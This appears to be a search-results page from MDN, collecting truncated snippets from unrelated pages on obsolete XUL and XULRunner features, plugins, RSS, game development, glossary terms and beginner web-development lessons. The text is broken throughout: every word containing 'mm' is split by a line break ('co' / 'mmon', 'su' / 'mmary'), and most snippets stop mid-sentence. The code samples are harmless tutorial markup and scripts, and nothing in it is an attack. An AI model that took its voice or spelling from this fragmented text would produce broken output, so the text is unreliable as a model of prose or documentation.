attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webnavigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an url from a menu <menulist onco
mmand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { var url = obj.selecteditem.v...
...subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the co
mmon ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
titlebar - Archive of obsolete content
the titlebar will send a co
mmand event after the move is complete.
... <?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" onco
mmand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul elem...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
tree - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
... methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
... xul for the tree: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="file://c:/main.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <row><button label="getrowvalues" onco
mmand="getrowcellvalues();"/></row> <tree flex="1" editable="true" id="mytree"> <treecols> <treecol label="active" type="checkbox" editable="true" /> <treecol label="name" flex="1" id="name"/> </treecols> <treechildren> <treeitem> <treerow> <treecell value="false"/> <treecell label="alice"/> </treerow> </treeitem> <treeitem> <treerow> ...
Building XULRunner with Python - Archive of obsolete content
this gives access to python features and modules and builds on mark ha
mmond's pyxpcom work from active state.
...it might also be possible to use the open source mingw compiler with the correct msvc run time but that is apparently not reco
mmended.
...for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('co
mmand', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches.
Dialogs in XULRunner - Archive of obsolete content
here is a short list of the button attributes on dialog; see also creating dialogs at mozillazine knowledge base: buttons a co
mma separated list of buttons to show on dialog (accept, cancel, help, extra1, and extra2).
... co
mmon dialogs some of the most frequently used co
mmon dialogs are for opening and saving files.
...lla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "open file", nsifilepicker.modeopen); fp.appendfilters(nsifilepicker.filtertext | nsifilepicker.filterall); var res = fp.show(); if (res == nsifilepicker.returnok) { var thefile = fp.file; alert(thefile.leafname); // --- do something with the file here --- } } xul does not currently support any other co
mmon dialogs.
XULRunner FAQ - Archive of obsolete content
this page is intended to answer frequently asked questions and correct co
mmon misconceptions about xulrunner.
... right now mozilla reco
mmends that xulrunner should be deployed privately with each application.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:co
mmunity page and ask questions on the newsgroups or the irc channel.
XULRunner Hall of Fame - Archive of obsolete content
conkeror a highly progra
mmable web browser with a leopard-oriented design inspired by emacs.
...ieditweb users can add pages, images, forms, eco
mmerce many special effects and much more using the xulrunner based client.
...build instructions convertigo enterprise mashup server a web integrator and web clipper tool to build enterprise mashups nightingale nightingale is a co
mmuntiy fork of the songbird media player, bringing back linux support and much more.
2006-11-17 - Archive of obsolete content
su
mmary: mozilla.dev.apps.calendar - november 10 - november 17, 2006 announcements no meeting for this week.
... discussions itip and imip new designs for sending invitations available for co
mment discussion about the new interface designs for itip.
... authors mark paruzel yi (eric) shen [back to weekly su
mmaries ] ...
2006-11-24 - Archive of obsolete content
su
mmary: mozilla.dev.apps.calendar - november 17 - november 24, 2006 announcements no meeting for this week.
... proposal for an event su
mmary dialog discussions about design for an event su
mmary dialog.
... authors mark paruzel yi (eric) shen [back to weekly su
mmaries ] ...
NPP_URLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api su
mmary notifies the plug-in instance of the completion of a url request.
...values: npres_done (most co
mmon): completed normally.
... the most co
mmon reason code is npres_done, indicating simply that the request completed normally.
Writing a plugin for Mac OS X - Archive of obsolete content
info.plist the plugin co
mmunicates its mime and filename extension information using the info.plist file, which is packaged in the plugin bundle.
... the plugin also co
mmunicates its bundle type in that file, under the key cfbundlepackagetype; the type is 'brpl'.
... symbol visibility symbol visibility is a co
mmon problem for people trying to get npapi plugins working.
Plugins - Archive of obsolete content
gecko plugin api reference (npapi) this reference describes the application progra
mming interfaces for npapi plugins and provides information about how to use these interfaces.
... scripting plugins: macromedia flash this article explains how javascript can be used to access methods from within the flash plugin, as well as how a feature called fsco
mmands can be used to access javascript functions from within the flash animation.
... categories interwiki language links join the plugin development co
mmunity choose your preferred method for joining the discussion: mailing list newsgroup rss feed ...
Well-Formed Web - Archive of obsolete content
the well-formed web rss module provides facilities for <item> level co
mmenting: for linking to co
mments contained in an external rss feed, and for posting new co
mments.
... documentation selected articles why well-formed web rss module is popular - syndicating your co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments (2005-08-22).
... references rss well-formed web module element list examples none available at this time co
mmunity none available at this time tools none available at this time other resources well-formed web spec rss, rdf, xml ...
RSS - Archive of obsolete content
documentation why rss slash is popular - counting your co
mments charles iliya krempeaux talks about the rss slash module, why it is popular among some, and how it is used to give a count for your co
mments.
... why well-formed web rss module is popular - syndicating your co
mments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your co
mments.
... co
mmunity view mozilla xml forums...
SAX - Archive of obsolete content
sax was the first widely adopted api for xml in java, and later implemented in several other progra
mming language environments.
...co
mment and cdata nodes, dtd declarations, and entities).
... an example implementation of the most co
mmonly used content handler: function print(s) { dump(s + "\n"); } xmlreader.contenthandler = { // nsisaxcontenthandler startdocument: function() { print("startdocument"); }, enddocument: function() { print("enddocument"); }, startelement: function(uri, localname, qname, /*nsisaxattributes*/ attributes) { var attrs = []; for(var i=0; i<attributes.length; i++) { attrs.push(attributes.getqname(i) + "='" + attributes.getvalue(i) + "'"); } print("startelement: namespace='" + uri + "', localname='" + localname + "', qname='" + qname + "', attributes={" + attrs.join(",") + "}"); }, endelement: function(uri, localname, qname) { print("endelement: namespace='...
Security Controls - Archive of obsolete content
limiting functionality and resolving security weaknesses have a co
mmon goal: give attackers as few opportunities as possible to breach a system.
... a co
mmon problem with security controls is that they often make systems less convenient or more difficult to use.
...department of co
mmerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last updated date: march 2006 copyright information: this document is not subject to copyright.
Vulnerabilities - Archive of obsolete content
according to the open web application security project, xss was the seventh most co
mmon web app vulnerability in 2017.
... the web security vulnerabilities are prioritized depending on exploitability, detectability and impact on software which can be any cms such as wordpress, joomla, magento, woco
mmerce and more.
... here are six of the most co
mmon website vulnerabilities you must protect yourself against.
Solaris 10 Build Prerequisites - Archive of obsolete content
optional software jds co
mmon build environment (cbe).
... the installer may tell you your c compiler is not the reco
mmended compiler, but the compiler you installed will work fine, so you should tell the installer to use the compiler anyway.
...replace the co
mmands in cbe that don't work on solaris 10.
The Basics of Web Services - Archive of obsolete content
su
mmary: a current hot topic on the web right now are web services.
... a better way to understand a web service is to compare it to a html form co
mmunication with a server side script (such as php or asp) to post and send data.
... examples of web services in action as said before, rss and atom feeds are a simple example of how a web service works, most co
mmonly, xml-rpc or soap are also used to co
mmunicate between a server and a client.
Using Firebug and jQuery (Screencast) - Archive of obsolete content
we're going to take an introductory look at the firebug firefox extension and the jquery javascript library - combining the two to build a reusable bookmarklet that can manipulate digg posts and co
mments.
... more tips: here are some more jquery selectors that you can use on a digg post: $("li.c-bury > div").remove(); - remove all buried co
mments, but none of the direct replies.
... $("div.c-body").show(); - show all co
mments, even ones that've been buried.
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was co
mmon for javascript embedded in a page to be surrounded by html co
mment tags to prevent <script> unaware browsers from displaying javascript code to the user.
...for backwards compatibility, e4x defaults to ignoring co
mments and cdata sections.
...the syntax is designed to be familiar to javascript progra
mmers, but e4x does not provide a direct mapping from xml to native javascript objects; just the illusion of one.
E4X - Archive of obsolete content
ecmascript for xml (e4x) is a progra
mming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript progra
mmers.
...the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html co
mment literals (<!--...-->) are ignored for backwards compatibility with the co
mment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
Accessing XML children - Archive of obsolete content
you can remove a child node by using the delete co
mmand: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the .
... list[1] = "green"; changes the xml document to read <foo> <bar baz="1">red</bar> <bar baz="2">green</bar> </foo> special types of nodes xml objects have methods for accessing xml lists of certain co
mmon types of nodes as well.
... var a = <foo> some text <bar>not text</bar> more text </foo>; var list = a.text(); list.length(); // returns 2 list[0]; // returns " some text " list[1]; // returns " more text " you can similarly access co
mment nodes: xml.ignoreco
mments = false; var a = <foo> some <!-- abc --> text </foo>; var co
mments = a.co
mments(); alert(co
mments[0]); // returns <!-- abc --> the * selector will return all child nodes in an xml list.
JSException - Archive of obsolete content
su
mmary the public class jsexception extends runtimeexception java.lang.object | +----java.lang.throwable | +----java.lang.exception | +----java.lang.runtimeexception | +----netscape.javascript.jsexception description jsexception is an exception which is thrown when javascript code returns an error.
... constructor su
mmary the netscape.javascript.jsexception class has the following constructors: jsexception deprecated constructors optionally let you specify a detail message and other information.
... method su
mmary the netscape.javascript.jsexception class has the following methods: getwrappedexception instance method getwrappedexception.
Troubleshooting XForms Forms - Archive of obsolete content
introduction the idea of this page is to collect some solutions to some of the co
mmon errors typically made when creating an xforms form.
... if all else fails ask the co
mmunity ask on one of the mailing lists or on irc.
... see the co
mmunity section on the xforms main page.
XForms Input Element - Archive of obsolete content
attributes ui co
mmon appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special inputmode - not supported for this control incremental - supported.
...since the introduction of labelposition, the behavior changed as described above to better match other implementations as well as co
mmonly used gui guidelines.
...the lexical representation for xsd:gmonth is the left and right truncated lexical representation for xsd:date: --
mm.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
su
mmary: an obscure bug in gecko causes list-item markers to be differently sizeed than the text of the list item, but there is a fix authors can use.
... authors who are not concerned with making sure the rule applies across all namespaces can use a slightly more simplified rule: *:-moz-list-bullet, *:-moz-list-number {font-size: 1em;} reco
mmendations if it is important to make list item markers match the font size of the content, use one of the suggested rules.
...meyer, netscape co
mmunications last updated date: published 04 oct 2002; revised 07 mar 2003 copyright information: copyright © 2001-2003 netscape.
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
su
mmary: when in quirks mode, gecko-based browsers will appear to ignore inheritance of font styles into tables from parent elements.
... reco
mmendations in situations where authors must put a document into "quirks" mode but wish to enforce correct font inheritance into tables, use the demonstrated rule.
...meyer, netscape co
mmunications last updated date: published 26 nov 2002 copyright information: copyright © 2001-2003 netscape.
RDF in Fifty Words or Less - Archive of obsolete content
and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their contents by running co
mmon search that you define.
...this syntax allows the graph-like model to be co
mmunicated between "agents".
...fundamentally, it means that parts of the rdf data model can be co
mmunicated across network boundaries, and the contents of the graph can dynamically change as information arrives from a remote service.
Web Standards - Archive of obsolete content
this article covers co
mmon issues associated with migrating applications to the open source mozilla-based browser.
... co
mmunity view mozilla forums...
... mailing list newsgroup rss feed the web standards project webdev feedhouse other co
mmunity links...
XUL Parser in Python - Archive of obsolete content
for example, you could easily adapt this to: return the id values of all the elements take elements on the co
mmand line and only spell them out build new chrome subdirectories (i.e.
...it also, i'm afraid, only works on the win32 platform, where the <tt>dir</tt> co
mmand it depends on gets you your xul files.
...after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> co
mmand), the dictionary of dictionaries is sorted and written into an html table.
Introduction to game development for the Web - Game development
here's a thorough list to give you a taste of what the web can do for you: full screen api this simple api lets your game take over the entire screen, thereby i
mmersing the player in action.
... javascript javascript, the progra
mming language used on the web, is blazing fast in modern browsers and getting faster all the time.
... webrtc the webrtc (real-time co
mmunications) api gives you the power to control audio and video data, including teleconferencing and transmitting other application data back and forth between two users.
Game monetization - Game development
donations when all else fails you can try putting a donate button on your game's page and asking for support from the co
mmunity.
...that's why carefully managing your co
mmunity is so important.
... su
mmary there are many ways to earn money — everything that applies to the "normal" aaa gaming world can be, more or less, applied to casual html5 games.
Building up a basic demo with PlayCanvas - Game development
the online editor is free for public projects with up to two team members, but there are also paid plans if you'd like to run a co
mmercial private project with more developers.
... playcanvas engine built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with a
mmo.js), audio, and facilities to handle control inputs from various devices (including gamepads).
... su
mmary of course, it depends on your approach — designers may favor the online editor while progra
mmers will prefer having the full control over the coding environment and will probably use the engine's source files.
Unconventional controls - Game development
implementing mobile and desktop controls is reco
mmended is a must, and gamepad controls add that extra experience.
...it's possible with leap motion, an i
mmersive controller for games and apps.
... su
mmary i hope you liked the experiments — if you have any others that you think might interest other people, feel free to add details of them here.
Build the brick field - Game development
fill in the contents as shown below: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = 0; var bricky = 0; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.i
mmovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } here we're looping through the rows and columns to create the new bricks and place them on the screen.
... the newly created brick is enabled for the arcade physics engine, it's body is set to be i
mmovable (so it won't move when hit by the ball), and we're also setting the anchor to be in the middle and adding the brick to the group.
....count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = (c*(brickinfo.width+brickinfo.padding))+brickinfo.offset.left; var bricky = (r*(brickinfo.height+brickinfo.padding))+brickinfo.offset.top; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.i
mmovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } } if you reload index.html at this point, you should see the bricks printed on screen, at an even distance from one another.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 encoding schemes are co
mmonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ascii.
...base64 is co
mmonly used in a number of applications including email via mime, and storing complex data in xml.
... one co
mmon application of base64 encoding on the web is to encode binary data so it can be included in a data: url.
Cipher - MDN Web Docs Glossary: Definitions of Web-related terms
ciphers were co
mmon long before the information age (e.g., substitution ciphers, transposition ciphers, and permutation ciphers), but none of them were cryptographically secure except for the one-time pad.
... they also are classified according to how their keys are handled: sy
mmetric key algorithms use the same key to encode and decode a message.
... asy
mmetric key algorithms use a different key for encryption and decryption.
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
a man-in-the-middle attack (mitm) intercepts a co
mmunication between two systems.
...you wouldn't know there's a man in the middle in your co
mmunication channel – the mailman is invisible to you and to your recipient.
... in physical mail and in online co
mmunication, mitm attacks are tough to defend.
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
two kinds of parameters: input parameters the most co
mmon kind; they pass values into functions.
... depending on progra
mming language, input parameters can be passed several ways (e.g., call-by-value, call-by-address, call-by-reference).
... output/return parameters primarily return multiple values from a function, but not reco
mmended since they cause confusion learn more general knowledge difference between parameter and argument on wikipedia technical reference function declaration function expression ...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
all primitives are i
mmutable, i.e., they cannot be altered.
... example this example will help you understand that primitive values are i
mmutable.
...(note that window.foo could still be used to access the external foo variable.) in conclusion, any changes inside our functions won't affect the original foo at all, as we are modifying copies of it that's why primitives are i
mmutable - instead of changing them directly, we're modifying a copy, without affecting the original.
Python - MDN Web Docs Glossary: Definitions of Web-related terms
python is a high level general-purpose progra
mming language.
... it uses a multi-paradigm approach, meaning it supports procedural, object-oriented, and some functional progra
mming constructs.
... python is developed under an osi-approved open source license, making it freely usable and distributable, even for co
mmercial use.
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
synchronous refers to real-time co
mmunication where each party receives (and if necessary, processes and replies to) messages instantly (or as near to instantly as possible).
... a human example is the telephone — during a telephone call you tend to respond to another person i
mmediately.
... many progra
mming co
mmands are also synchronous — for example when you type in a calculation, the environment will return the result to you instantly, unless you program it not to.
Syntax - MDN Web Docs Glossary: Definitions of Web-related terms
syntax generally includes gra
mmar and the rules that apply to writing it, such as indentation requirements in python.
... syntax applies both to progra
mming languages (co
mmands to the computer) and markup languages (document structure information) alike.
... learn more general knowledge syntax (progra
mming languages) on wikipedia ...
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
transport layer security (tls), formerly known as secure sockets layer (ssl), is a protocol used by applications to co
mmunicate securely across a network, preventing tampering with and eavesdropping on email, web browsing, messaging, and other protocols.
... both ssl and tls are client / server protocols that ensure co
mmunication privacy by using cryptographic protocols to provide security over a network.
... when a server and client co
mmunicate using tls, it ensures that no third party can eavesdrop or tamper with any message.
Unicode - MDN Web Docs Glossary: Definitions of Web-related terms
by assigning each character a number, progra
mmers can create character encodings, to let computers store, process, and transmit any combination of languages in the same file or program.
... the most co
mmon unicode character encoding on the web is utf-8.
... other encodings exist, like utf-16 or the obsolete ucs-2, but utf-8 is reco
mmended.
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
web content accessibility guidelines (wcag) are a reco
mmendation published by the web accessibility initiative group at the w3c.
... wcag 2.0 which superseded wcag 1.0 was published as a w3c reco
mmendation on 11 december 2008.
... learn more general knowledge wcag on wikipedia technical knowledge accessibility information on mdn the wcag 2.0 reco
mmendation at the w3c ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
webidl is the interface description language used to describe the data types, interfaces, methods, properties, and other components which make up a web application progra
mming interface (api).
... it uses a somewhat stylized syntax which is independent of any specific progra
mming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs.
... webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the progra
mmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the api.
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
several co
mmon http methods are safe: get, head, or options.
... safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, like triggering an order in an e-co
mmerce web site.
... technical knowledge description of co
mmon safe methods: get, head, options description of co
mmon unsafe methods: put, delete, post ...
Assessment: Accessibility troubleshooting - Learn web development
the two <input> elements in the co
mment form have visible text labels, but they are not unambiguously associated with their labels — how do you achieve this?
... the show/hide co
mment control the show/hide co
mment control button is not current keyboard-accessible.
... the table the data table is not currently very accessible — it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of su
mmary to make it clear what it shows.
Advanced styling effects - Learn web development
multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with co
mmas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px b...
...it is not very co
mmonly used, but worth mentioning.
... su
mmary we hope this article was fun — playing with shiny toys generally is, and it is always interesting to see what kinds of advanced styling tools are becoming available in modern browsers.
Fundamental CSS comprehension - Learn web development
above the two rules, add a css co
mment with some text inside it to indicate that this is a set of general styles for the overall page.
...also add three more co
mments at the bottom of the css file to indicate styles specific to the setup of the card container, styles specific to the header and footer, and styles specific to the main business card contents.
...write these down somewhere where they can be found later on, such as in a co
mment at the top of your css.
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in this lesson we will su
mmarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
... a co
mmon use of max-width is to cause images to scale down if there is not enough space to display them at their intrinsic width while making sure they don't become larger than that width.
... su
mmary this lesson has given you a rundown of some key issues that you might run into when sizing things on the web.
Flexbox - Learn web development
this is because the default values given to flex items (the children of the flex container) are set up to solve co
mmon problems such as this.
...at the moment you'll see a horizontal menu bar, with some buttons ja
mmed into the top left hand corner.
... su
mmary that concludes our tour of the basics of flexbox.
Practical positioning examples - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to get an idea of the practicalities of positioning a tabbed info-box the first example we'll look at is a classic tabbed info box — a very co
mmon feature used when you want to pack a lot of information into a small area.
... su
mmary so that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to start applying these to build some interesting ui features.
... don't worry if you didn't get this all i
mmediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding.
Responsive design - Learn web development
the media queries level 3 specification became a candidate reco
mmendation in 2009, meaning that it was deemed ready for implementation in browsers.
... a co
mmon approach when using media queries is to create a simple single-column layout for narrow-screen devices (e.g mobile phones), then check for larger screens and implement a multiple-column layout when you know that you have enough screen width to handle it.
... su
mmary responsive design refers to a site or application design that responds to the environment in which it is viewed.
Supporting older browsers - Learn web development
previous overview: css layout next in this module, we reco
mmend using flexbox and grid as the main layout methods for your designs.
...if you have a tiny number of people coming to the site in these browsers it may not make co
mmercial sense to pour time into trying to give them a similar experience to people on modern browsers.
... su
mmary you now have the knowledge to confidently use techniques such as grid and flexbox, create fallbacks for older browsers, and make use of any new techniques that might come along in the future.
CSS layout - Learn web development
floats originally for floating images inside blocks of text, the float property became one of the most co
mmonly used tools for creating multiple column layouts on webpages.
... legacy layout methods grid systems are a very co
mmon feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
... supporting older browsers in this module we reco
mmend using flexbox and grid as the main layout methods for your designs.
Getting started with CSS - Learn web development
there are three different ways to apply css to an html document that you'll co
mmonly come across, however, for now, we will look at the most usual and useful way of doing so — linking css from the head of your document.
...to turn all paragraphs green you would use: p { color: green; } you can target multiple selectors at once, by separating the selectors with a co
mma.
...the most co
mmon way to do this is to add a class to your html element and target that class.
Styling text - Learn web development
with the basics of the css language covered, the next css topic for you to concentrate on is styling text — one of the most co
mmon things you'll do with css.
... styling links when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in co
mmon varied interface features such as navigation menus and tabs.
... typesetting a co
mmunity school homepage in this assessment we'll test your understanding of styling text by getting you to style the text for a co
mmunity school's homepage.
How does the Internet work? - Learn web development
su
mmary the internet is the backbone of the web, the technical infrastructure that makes the web possible.
... at its most basic, the internet is a large network of computers which co
mmunicate all together.
... deeper dive a simple network when two computers need to co
mmunicate, you have to link them, either physically (usually with an ethernet cable) or wirelessly (for example with wifi or bluetooth systems).
How much does it cost to do something on the Web? - Learn web development
su
mmary when launching a website, you may spend nothing, or your costs may go through the roof.
...sites like pixabay provide images under cc0 license, so you can use, edit and publish them even with modification for co
mmercial use.
...windows explorer, nautilus (a co
mmon linux file manager), and the mac finder all include this functionality.
What is a URL? - Learn web development
su
mmary with hypertext and http, url is one of the key concepts of the web.
...in practice, there are some exceptions, the most co
mmon being a url pointing to a resource that no longer exists or that has moved.
... implicit domain name /docs/learn this is the most co
mmon use case for an absolute url within an html document.
What is a Domain Name? - Learn web development
su
mmary domain names are a key part of the internet infrastructure.
... alternatively, if you use a system with a built-in shell, type a whois co
mmand into it, as shown here for mozilla.org: $ whois mozilla.org domain name:mozilla.org domain id: d1409563-lror creation date: 1998-01-24t05:00:00z updated date: 2013-12-08t01:16:57z registry expiry date: 2015-01-23t05:00:00z sponsoring registrar:markmonitor inc.
... (r37-lror) sponsoring registrar iana id: 292 whois server: referral url: domain status: clientdeleteprohibited domain status: clienttransferprohibited domain status: clientupdateprohibited registrant id:
mmr-33684 registrant name:dns admin registrant organization:mozilla foundation registrant street: 650 castro st ste 300 registrant city:mountain view registrant state/province:ca registrant postal code:94041 registrant country:us registrant phone:+1.6509030800 as you can see, i can't register mozilla.org because the mozilla foundation has already registered it.
HTML forms in legacy browsers - Learn web development
learn about the issues to understand co
mmon patterns, it helps to read browser documentation.
...while resolved in all modern browsers, it is still reco
mmended to always set the type attribute on <button> elements.
... to su
mmarize, when it comes to styling form control widgets, the side effects of styling them with css can be unpredictable.
Publishing your website - Learn web development
tips for finding hosting and domains mdn does not promote specific co
mmercial hosting companies or domain name registrars.
...then click co
mmit changes.
...if your website does not display i
mmediately, wait a few minutes.
Define terms with HTML - Learn web development
how to mark informal description in textbooks, the first time a keyword occurs, it's co
mmon to put the keyword in bold and define it right away.
...here are reco
mmendations for marking up dialogue.
...the matching description follows i
mmediately, contained within one or more <dd> elements.
HTML Tables - Learn web development
a very co
mmon task in html is structuring tabular data, and it has a number of elements and attributes for just this purpose.
... coupled with a little css for styling, html makes it easy to display tables of information on the web such as your school lesson plan, the timetable at your local swi
mming pool, or statistics about your favorite dinosaurs or football team.
... html table advanced features and accessibility this module looks at some more advanced features of html tables — such as captions/su
mmaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
Structuring the web with HTML - Learn web development
it is reco
mmended that you work through getting started with the web before attempting this topic, however, it isn't absolutely necessary; much of what is covered in the html basics article is also covered in our introduction to html module, albeit in a lot more detail.
...this module covers basic table markup, along with more complex features such as implementing captions and su
mmaries.
... solving co
mmon html problems use html to solve co
mmon problems provides links to sections of content explaining how to use html to solve very co
mmon problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
What went wrong? Troubleshooting JavaScript - Learn web development
fixing syntax errors earlier on in the course we got you to type some simple javascript co
mmands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the previous link to find out how).
... other co
mmon errors there are other co
mmon errors you'll come across in your code.
... su
mmary so there we have it, the basics of figuring out errors in simple javascript programs.
Introducing JavaScript objects - Learn web development
object-oriented javascript for beginners with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented progra
mming (oop) theory, then explores how javascript emulates object classes via constructor functions, and how to create object instances.
... object prototypes prototypes are the mechanism by which javascript objects inherit features from one another, and they work differently to inheritance mechanisms in classical object-oriented progra
mming languages.
... working with json data javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax, which is co
mmonly used for representing and transmitting data on web sites (i.e.
Web performance - Learn web development
learning pathway while knowing html, css, and javascript is needed for implementing many web performance improvement reco
mmendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance.
... we do however reco
mmend that before you work through this module, you at least get a basic idea of web development by working through our getting started with the web module.
... javascript performance best practices javascript, when used properly, can allow for interactive and i
mmersive web experiences — or it can significantly harm download time, render time, in-app performance, battery life, and user experience.
Learning area release notes - Learn web development
if you want to give feedback on any of these new additions, please leave co
mments in our discourse forum.
...learn why frameworks exist, when you should use one (and when you shouldn't), what kinds of features are co
mmon to all frameworks, and how they relate to the vanilla javascript you may already know.
...learn the essentials of web development tooling, including what kind of tools exist, the co
mmand line, package managers, and how to assemble your own functioning tool chain.
Accessibility in React - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...however, you may have noticed a new problem — the "edit" button in the final <todo /> component is focussed i
mmediately on page load, before we even interact with the app!
...this isn't a problem — we can make any element progra
mmatically focusable by adding the attribute tabindex="-1" to it.
Beginning our React todo list - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
... then, copy and paste the following co
mmands into your terminal to delete some unneeded files.
... su
mmary now our todo list app actually looks a bit more like a real app!
